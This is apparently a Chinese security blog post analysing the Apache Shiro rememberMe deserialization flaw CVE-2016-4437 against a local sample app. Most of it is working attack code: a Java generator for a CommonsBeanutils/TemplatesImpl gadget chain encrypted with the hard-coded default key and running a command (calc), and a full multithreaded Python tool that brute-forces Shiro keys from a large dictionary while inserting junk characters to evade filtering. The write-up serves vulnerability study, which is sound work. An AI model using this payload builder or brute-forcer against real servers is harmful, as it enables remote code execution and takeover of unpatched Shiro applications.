shiro 反序列化漏洞-CVE-2016-4437

shiro 反序列化漏洞-CVE-2016-4437

很早期的一个rememberMe反序列化漏洞,面试经常会问,但才想起还没从代码审计的角度分析过,所以快速分析下。

CVE描述

对cookie中的RememberMe值进行反序列化时,由于使用的默认密钥,导致数据可伪造从而触发反序列化命令执行

漏洞环境

jdk8u66

复制代码
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-core</artifactId>
            <version>1.2.4</version> 
        </dependency>
        <dependency>
            <groupId>org.apache.shiro</groupId>
            <artifactId>shiro-web</artifactId>
            <version>1.2.4</version> 
        </dependency>

这里的环境用于生成payload,后续会切换到https://github.com/apache/shiro 中提供的sample web

分析

查看shiro-core的包可以很快发现一个叫RememberMeAuthenticationToken的接口,继而找到AbstractRememberMeManager

用于实现rememberMe中的用户身份的序列化和反序列化,此处直接硬编码了默认密钥:

初始化时就会设置这个默认密钥:

其实就是设置了encryptionCipherKey和decryptionCipherKey字段,关注以下函数:

  • serialize:序列化,将PrincipalCollection对象序列化
  • encrypt:加密,发生在序列化后
  • decrypt:解密
  • deserialize:反序列化,发生在解密后,将解密的数据反序列化为PrincipalCollection对象
  • rememberSerializedIdentity:存放rememberMe cookie,存的是一段字节数组
  • getRememberedSerializedIdentity:取rememberMe cookie,取的是一段字节数组

然后CookieRememberMeManager又继承自AbstractRememberMeManager,所以过程应该还算比较清晰:

  • 存cookie:将PrincipalCollection对象进行序列化并加密得到一段字节数组,然后使用rememberSerializedIdentity存放这段字节数组
  • 取cookie:使用getRememberedSerializedIdentity取rememberMe cookie 字节数组,然后将字节数组解密并反序列化得到PrincipalCollection对象

于是我构造了:

java 复制代码
package org.example.deserialization;

import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.io.DefaultSerializer;
import org.apache.shiro.io.SerializationException;
import org.apache.shiro.util.ByteSource;
import org.example.tools.ReflectionUtils;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;


public class shiro {
    public static Object getEvilObject() throws NotFoundException, CannotCompileException, NoSuchMethodException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
        Constructor constructor = clazz.getConstructor();
        Object templatesImp = constructor.newInstance();

        ClassPool pool = ClassPool.getDefault();

        CtClass evilCtClass = pool.makeClass("EvilClass" + System.nanoTime());

//        String cmd = "java.lang.Runtime.getRuntime().exec(\"touch /tmp/success\");";
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";

        evilCtClass.makeClassInitializer().insertBefore(cmd);

        CtClass class1 = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");

        byte[] evilBytecode = evilCtClass.toBytecode();

        if (evilCtClass.isFrozen()){
            evilCtClass.defrost();
        }
        evilCtClass.setSuperclass(class1);

        CtClass ctClass = pool.makeClass("ctClass" + System.nanoTime());


        //_bytecodes数组需要大于1
        ReflectionUtils.setFieldValue(templatesImp, "_bytecodes", new byte[][]{evilBytecode, ctClass.toBytecode()});
        System.out.println(evilCtClass.getName());
        //_name需要和要加载的恶意类名一致
        ReflectionUtils.setFieldValue(templatesImp, "_name", evilCtClass.getName());
        //_transletIndex需要大于等于0
        ReflectionUtils.setFieldValue(templatesImp,"_transletIndex",0);
        Class clazz2 = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl");
        Constructor constructor2 = clazz2.getConstructor();

        ReflectionUtils.setFieldValue(templatesImp, "_tfactory", constructor2.newInstance());
        BeanComparator comparator = new BeanComparator("outputProperties");
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        ReflectionUtils.setFieldValue(priorityQueue,"queue",new Object[]{templatesImp,templatesImp});// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(priorityQueue,"size",2);// 设置BeanComparator.compare()的参数
        ReflectionUtils.setFieldValue(comparator,"property","outputProperties");
        ReflectionUtils.setFieldValue(comparator,"comparator",comparator);
        return priorityQueue;
    }


    public static void main(String[] args) throws IOException, ClassNotFoundException, NotFoundException, CannotCompileException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException {
        DefaultSerializer serializer = new DefaultSerializer();
        byte[] payloads = serializer.serialize(getEvilObject());
        AesCipherService aes = new AesCipherService();
        aes.setKeySize(128);
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.println(ciphertext);
        ByteSource plaintext = aes.decrypt(ciphertext.getBytes(), key);

        serializer.deserialize(plaintext.getBytes());
    }
}

但在反序列化时报错:Unable to deserialze argument byte array.

经过调试发现问题出现在处理二维字节数组时:

shiro中写的forName没办法处理[[B,jdk自带的forName才可以处理。

已经确定序列化得到的payload是可以成功触发漏洞的,因此我需要一个现有的环境去做调试:

  • https://github.com/apache/shiro clone项目,然后切换分支:

    复制代码
    git clone https://github.com/apache/shiro.git
    cd shiro
    git checkout shiro-root-1.2.4
  • 取samples目录单独构建项目,也可以直接在原项目处构建

  • 环境:jdk8u66、tomcat 9.0.115

  • 修改samples/web/pom.xml并使用maven构建,需要修改jstl版本,不然无法正常处理jsp

    复制代码
    <dependency>
                <groupId>javax.servlet</groupId>
                <artifactId>jstl</artifactId>
                <version>1.2</version>
                <scope>runtime</scope>
            </dependency>
  • 为了快速找链,我添加j了java agent

  • 部署:

  • 运行并访问:http://localhost:8080/samples_web_war/

  • 使用apifox请求触发漏洞

    直接触发计算器

以下为完整触发链路:

复制代码
at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77)
at org.apache.shiro.mgt.AbstractRememberMeManager.deserialize(AbstractRememberMeManager.java:514)
at org.apache.shiro.mgt.AbstractRememberMeManager.convertBytesToPrincipals(AbstractRememberMeManager.java:431)
at org.apache.shiro.mgt.AbstractRememberMeManager.getRememberedPrincipals(AbstractRememberMeManager.java:396)
at org.apache.shiro.mgt.DefaultSecurityManager.getRememberedIdentity(DefaultSecurityManager.java:604)
at org.apache.shiro.mgt.DefaultSecurityManager.resolvePrincipals(DefaultSecurityManager.java:492)
at org.apache.shiro.mgt.DefaultSecurityManager.createSubject(DefaultSecurityManager.java:342)
at org.apache.shiro.subject.Subject$Builder.buildSubject(Subject.java:846)
at org.apache.shiro.web.subject.WebSubject$Builder.buildWebSubject(WebSubject.java:148)
at org.apache.shiro.web.servlet.AbstractShiroFilter.createSubject(AbstractShiroFilter.java:292)
at org.apache.shiro.web.servlet.AbstractShiroFilter.doFilterInternal(AbstractShiroFilter.java:359)
at org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:125)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:166)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:142)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:166)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:88)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:491)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:83)
at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:643)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:72)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:344)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:398)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:63)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:939)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1832)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:52)
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:973)
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:491)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:63)
at java.lang.Thread.run(Thread.java:745)

打个断点开始调试,于是我发现:

THREAD_CL_ACCESSOR.loadClass成功处理了[[B

所以问题出现在THREAD_CL_ACCESSOR:

  • 无法处理[[B的类加载器:

    复制代码
    Thread.currentThread().getContextClassLoader() = {Launcher$AppClassLoader@367}
  • 可以处理[[B的类加载器:

    复制代码
    {ParallelWebappClassLoader@4107}

所以本质是类加载器的问题

java chain快速利用

下载:https://github.com/vulhub/java-chains

另外还可以填充一些垃圾字符:

这是因为在将RememberMe Cookie使用Base64.decode转换为字节数组前会使用discardNonBase64做清理:

因此并不影响payload的使用,java chain还可以使用GCM加密模式去构造payload,我大概用java chain试了几个版本:

shiro version CB 链 密钥 加密模式
1.2.4 CB2(1.8) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== CCB
1.4.2 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM
1.9.1 CB1(1.9) kPH+bIxk5D2deZiIxcaaaA== GCM

显然高版本已经不会将密钥硬编码到代码中了

总结

写到这发现也没写个啥,再水水总结吧

  • Shiro<=1.2.4:CBC+硬编码默认密钥
  • 1.2.4<Shiro<1.4.2:CBC+随机AES密钥(如未自定义密钥)
  • shiro>=1.4.2:GCM++随机AES密钥(如未自定义密钥)

至于密钥爆破:

  • key字典:https://github.com/0xShe/Shiro-key-10w

  • 脚本(忘记从哪拿的了):

    java 复制代码
    import base64
    import uuid
    import requests
    import time
    import threading
    import concurrent.futures
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad
    import urllib3
    import warnings
    import os
    import sys
    import random
    
    # ============== 禁用SSL警告 ==============
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    warnings.filterwarnings("ignore", category=UserWarning, module="urllib3")
    
    # ============== 默认配置参数 ==============
    DEFAULT_TARGET_URL = "http://localhost:8080/samples_web_war/"
    DEFAULT_COOKIE_NAME = "rememberMe"
    DEFAULT_RESPONSE_COOKIE = "rememberMe=deleteMe"
    DEFAULT_KEY_FILE = "keys.txt"
    THREADS = 10
    MAX_RETRIES = 3
    RETRY_DELAY = 1
    USE_PROXY = False  # 改为 True 可启用代理
    DEBUG = True
    
    # ============== 代理配置 ==============
    PROXIES = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }
    
    # ============== 全局变量 ==============
    found_key = None
    lock = threading.Lock()
    tested_count = 0
    total_keys = 0
    
    # ============== 增强版"脏字符"插入策略 ===============
    SAFE_NOISE_CHARS = '@$`_-'
    INSERT_PROB = 0.04  # 提高到 4%(原为 2%),翻倍插入概率
    
    
    def add_noise_to_cookie(base64_str: str) -> str:
    
        if not base64_str:
            return base64_str
    
        clean = base64_str.rstrip('=')
        padding = '=' * (4 - len(clean) % 4) if len(clean) % 4 != 0 else ''
    
        result = []
        for i, char in enumerate(clean):
            result.append(char)
    
    
            if random.random() < INSERT_PROB:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
    
            if (i + 1) % random.randint(10, 20) == 0 and i < len(clean) - 1:
                noise = random.choice(SAFE_NOISE_CHARS)
                result.append(noise)
    
        return ''.join(result) + padding
    
    
    def get_user_input():
        """获取用户输入配置参数"""
        print("=" * 70)
        print("Shiro RememberMe 脏数据注入爆破工具")
        print("✅ 插入频率提升:4% + 每10~20字符强制插入 @$`_-")
        print("=" * 70)
    
        target_url = input(f"[*] 请输入目标URL [默认: {DEFAULT_TARGET_URL}]: ") or DEFAULT_TARGET_URL
        if not target_url.startswith("http"):
            target_url = "http://" + target_url
    
        cookie_name = input(f"[*] 请输入请求Cookie名称 [默认: {DEFAULT_COOKIE_NAME}]: ") or DEFAULT_COOKIE_NAME
    
        response_cookie = input(f"[*] 请输入响应中的删除Cookie检测值 [默认: {DEFAULT_RESPONSE_COOKIE}]: ") or DEFAULT_RESPONSE_COOKIE
    
        while True:
            key_file = input(f"[*] 请输入密钥文件路径 [默认: {DEFAULT_KEY_FILE}]: ") or DEFAULT_KEY_FILE
            if os.path.isfile(key_file):
                break
            print(f"[-] 错误: 文件 '{key_file}' 不存在!")
    
        return target_url, cookie_name, response_cookie, key_file
    
    
    
    def encrypt_AES_CBC(msg, secretKey):
        try:
            iv = uuid.uuid4().bytes
            cipher = AES.new(secretKey, AES.MODE_CBC, iv)
            ciphertext = cipher.encrypt(pad(msg, AES.block_size))
            return iv + ciphertext
        except Exception as e:
            if DEBUG:
                print(f"[-] CBC 加密失败: {e}")
            return None
    
    
    def encrypt_AES_GCM(msg, secretKey):
        try:
            cipher = AES.new(secretKey, AES.MODE_GCM)
            ciphertext, auth_tag = cipher.encrypt_and_digest(msg)
            return cipher.nonce + ciphertext + auth_tag
        except Exception as e:
            if DEBUG:
                print(f"[-] GCM 加密失败: {e}")
            return None
    
    
    def generate_clean_cookie(key_base64: str, use_gcm=False) -> str:
    
        try:
            key = base64.b64decode(key_base64)
            if len(key) != 16:
                return None
    
            file_body = base64.b64decode('rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==')
    
            if use_gcm:
                encrypted_data = encrypt_AES_GCM(file_body, key)
            else:
                encrypted_data = encrypt_AES_CBC(file_body, key)
    
            return encrypted_data and base64.b64encode(encrypted_data).decode('utf-8')
        except Exception as e:
            if DEBUG:
                print(f"[-] 生成 Cookie 失败: {e}")
            return None
    
    
    # ============== 网络请求和验证 ==============
    def send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie: str) -> requests.Response:
    
        dirty_cookie = add_noise_to_cookie(clean_cookie)
        cookies = {cookie_name: dirty_cookie}
    
        for attempt in range(MAX_RETRIES):
            try:
                response = requests.get(
                    target_url,
                    cookies=cookies,
                    timeout=5,
                    verify=False,
                    allow_redirects=False,
                    proxies=PROXIES if USE_PROXY else None
                )
                return response
            except Exception as e:
                if attempt < MAX_RETRIES - 1:
                    time.sleep(RETRY_DELAY)
                else:
                    return None
        return None
    
    
    def is_valid_response(response: requests.Response, response_cookie: str) -> bool:
        if not response or not hasattr(response, 'headers'):
            return False
    
        set_cookie_header = response.headers.get('Set-Cookie', '')
        return response_cookie not in set_cookie_header
    
    
    def test_mode(target_url, cookie_name, response_cookie, key_base64: str, use_gcm: bool) -> bool:
        clean_cookie = generate_clean_cookie(key_base64, use_gcm)
        if not clean_cookie:
            return False
    
        response = send_request_with_dirty_cookie(target_url, cookie_name, clean_cookie)
        if not response:
            return False
    
        return is_valid_response(response, response_cookie)
    
    
    def test_key(target_url, cookie_name, response_cookie, key_base64: str) -> bool:
        global found_key, tested_count
    
        with lock:
            if found_key:
                return False
    
        # 只显示进度,不打印脏数据
        with lock:
            if found_key:
                return False
            tested_count += 1
            current = tested_count  # 保存当前计数,避免后续变化
    
    
        if current % 100 == 0:
            print(f"[-] 测试第 {current} 个密钥")
    
        # 测试 CBC
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=False):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, False)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (CBC): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        # 测试 GCM
        if test_mode(target_url, cookie_name, response_cookie, key_base64, use_gcm=True):
            with lock:
                if not found_key:
                    found_key = key_base64
                    final_clean = generate_clean_cookie(key_base64, True)
                    final_dirty = add_noise_to_cookie(final_clean)
                    print(f"\n[+] 找到有效密钥 (GCM): {key_base64}")
                    print(f"[+] 原始 Cookie: {final_clean}")
                    print(f"[+] 脏数据 Cookie: {final_dirty}")
            return True
    
        return False
    
    
    
    def main():
        global found_key, total_keys
    
        target_url, cookie_name, response_cookie, key_file = get_user_input()
    
        try:
            with open(key_file, 'r') as f:
                keys = [line.strip() for line in f if line.strip()]
                total_keys = len(keys)
        except Exception as e:
            print(f"[-] 读取密钥文件失败: {e}")
            return
    
        if total_keys == 0:
            print("[-] 密钥文件为空")
            return
    
        print("\n" + "=" * 70)
        print(f"[*] 目标URL: {target_url}")
        print(f"[*] 请求Cookie名称: {cookie_name}")
        print(f"[*] 响应检测目标: '{response_cookie}'")
        print(f"[*] 密钥文件: {key_file} ({total_keys} 个密钥)")
        print(f"[*] 开始爆破,线程数: {THREADS}")
        print(f"[*] 插入脏字符: {SAFE_NOISE_CHARS}(频率增强)")
        print("=" * 70 + "\n")
    
        start_time = time.time()
    
        with concurrent.futures.ThreadPoolExecutor(max_workers=THREADS) as executor:
            futures = [executor.submit(test_key, target_url, cookie_name, response_cookie, key) for key in keys]
    
            try:
                for future in concurrent.futures.as_completed(futures):
                    if found_key:
                        break
            except KeyboardInterrupt:
                print("\n[!] 用户中断")
    
        elapsed = time.time() - start_time
        print(f"\n[*] 测试完成,耗时: {elapsed:.2f}秒")
    
        if found_key:
            print(f"[+] 成功找到有效密钥: {found_key}")
        else:
            print("[-] 未找到有效密钥")
    
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print("\n[!] 用户中断,程序已退出")
            sys.exit(0)
相关推荐
深信达沙箱2 小时前
终端沙箱数据防泄密方案
网络·安全
独行soc2 小时前
2026年渗透测试面试题总结-26(题目+回答)
android·网络·安全·web安全·渗透测试·安全狮
拍客圈2 小时前
Discuz搜索报错
服务器·网络·安全
九丝城主13 小时前
1V1音视频对话3--优化TURN 为生产安全版
安全
临水逸14 小时前
飞牛fnos 2025 漏洞Java跨域URL浏览器
java·开发语言·安全·web安全
独行soc15 小时前
2026年渗透测试面试题总结-24(题目+回答)
网络·python·安全·web安全·渗透测试·安全狮
Bruce_Liuxiaowei16 小时前
渗透测试中的提权漏洞:从低权限到系统控制的全解析
网络·windows·安全
正义的彬彬侠17 小时前
Hashcat 使用手册:从入门到高级密码恢复指南
安全·web安全·网络安全·渗透测试·hashcat
一名优秀的码农18 小时前
vulhub系列-02-Raven2(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析